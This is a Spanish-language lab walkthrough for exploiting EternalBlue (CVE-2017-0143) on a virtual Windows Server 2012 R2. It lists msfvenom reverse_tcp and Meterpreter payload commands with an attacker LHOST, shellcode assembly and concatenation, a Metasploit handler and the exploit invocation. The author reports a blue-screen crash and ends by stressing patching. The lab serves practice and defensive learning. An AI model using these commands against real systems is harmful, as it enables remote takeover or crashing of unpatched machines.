ETERNALBLUE Explotando CVE-2017-0143/0144 para obtener una Shell Meterpreter

Aitor Lebrón ---

INTRODUCCIÓN

Este documento es una guía de pasos a dar para conseguir, con éxito, abrir una interfaz meterpreter valiéndonos de la vulnerabilidad CVE-2017-0143 conocida como Eternalblue.

Los pasos seguidos están extraídos del documento de Sheila A. Berta, “EXPLOTAR ETERNALBLUE PARA OBTENER UNA SHELL DE METERPRETER EN R2” de Junio de 2017.

ETERNALBLUE

EternalBlue (ETERNALBLUE) es uno de aquellos exploits filtrados por Shadow Brokers y que supuestamente fueron creados por la NSA como parte de su sistema de espionaje. Más información respecto a las filtraciones puede ser encontrada en la sección Vault7 de wikileaks. Además, las vulnerabilidades que explota EternalBlue son la base de otros ataques posteriores como WannaCry.

CVE-2017-0143 explota una vulnerabilidad en el protocolo SMB y fue parcheado por con la actualización MS17-010 aunque sólo lo hizo para las versiones de aquellos Sistemas Operativos que tenía en servicio en el momento. No fue hasta el 13 de Mayo de 2017 que se ofreció una solución para sistemas anticuados. (XP, server 2003, ).

Es, teóricamente, algo relativamente difícil darse de bruces con un equipo sin actualizar desde hace tanto tiempo, pero aún así es un buen ejercicio de práctica con Metasploit y por eso lo realizo.

MONTAJE

1. Equipo (víctima) Windows Server 2012 r2 x64 virtualizado sobre VMWare. 2. Equipo (atacante) Kali Linux a. Kernel Shell x64 (Sleepya) b. Nasm c. Python 2.7 d. Msfvenom e. Metasploit Framework

1 PROCEDIMIENTO

1. Ensamblar la Kernel ShellCode a. https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-et ernalblue_x64_kshellcode-asm. ​ b. Ensamblar usando nasm

Nasm -f bin eternalblue_x64_kshellcode.asm

2. Generar la Userland ShellCode ​ a. Msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=192.168.1.110 LPORT=4545 3. Generar la Shell para Meterpreter ​ a. Msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_shell.bin EXITFUNC=thread LHOST=192.168.1.110 LPORT=4545 4. Concatenar las dos Shells (kernel + .bin) ​ ​ a. Cat eternalblue_x64_kshellcode shell_msf.bin > reverse_shell.bin b. Cat eternalblue_x64_kshellcode meterpreter_shell.bin > reverse_mtrprtr.bin

En este punto deberemos saber si el sistema atacado tiene una cuenta Guest activa o el login de un usuario válido.

2

5. Descargar el exploit Sleepya ​

Github.com

6. Modificar el exploit de python para adecuarlo a nuestro escenario

Deberemos modificar las credenciales de acceso antes de ejecutar el exploit, para cada caso que deseemos habrá que modificarlas, tal que:

a. Guest : blank ​ b. Aitor : contraseña c. Aitoradmin : contraseña 7. Abrir Metasploit Framework y crear un handler de escucha en 4545 a. Use exploit/multi/handler

3 b. Set PAYLOAD windows/x64/meterpreter/reverse_tcp c. Set LHOST 192.168.110 d. Set LPORT 4545 e. Exploit (permanecemos a la escucha) 8. Ejecución del exploit a. Python eternalblue8_exploit_guest.py 192.168.1.3 reverse_shell.bin 500 donde 500 es el número de conexiones Groom y podremos incrementarlo si no tenemos impacto satisfactorio.

9. Teóricamente, la sesión meterpreter debiera abrirse en el MSF. Pero no, en lugar de eso el servidor Windows Server 2012 muestra una Bluescreen of Death y se reinicia.

RESULTADOS

Este laboratorio lo realicé hace unos meses y el resultado fue satisfactorio, también es verdad que mi máquina virtual con Windows Server 2012 no estaba actualizada ni mucho menos; quise probar el exploit y lo hice sobre una máquina con una instalación de base. Así que por los resultados obtenido ahora, este ataque ha dejado de ser un RCE para convertirse en un DoS.

Volveré a probar más adelante e intentaré averiguar por qué el fallo de Kernel.

CONCLUSION

Es evidente la criticidad de mantener los equipos actualizados, aplicar los distintos parches de seguridad previene que este tipo de exploits, ya publicados, tengan algún

4 impacto sobre la infraestructura.

Mantener una correcta configuración de seguridad en equipos es igualmente importante, en este caso, el tener habilitada una cuenta de invitado o una contraseña débil para un usuario compromete el sistema al completo.

Puede que las actualizaciones hayan solucionado el problema del acceso remoto, pero la ejecución del exploit sigue afectando al sistema, ahora lo reinicia.

REFERENCIAS

1. https://www.metasploit.com/ 2. http://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D 3. https://www.exploit-db.com/docs/english/42280-how-to-exploit-eternalblue-on-win dows-server-2012-r2.pdf 4. https://gist.github.com/worawit/ 5. https://answers.microsoft.com/es-es/windows/forum/windows_10-performance-wi npc/windows-10-driver-irql-not-less-or-equal-lo-que/a9e0e5db-b2f3-4957-9c6f-6dd d304de012

5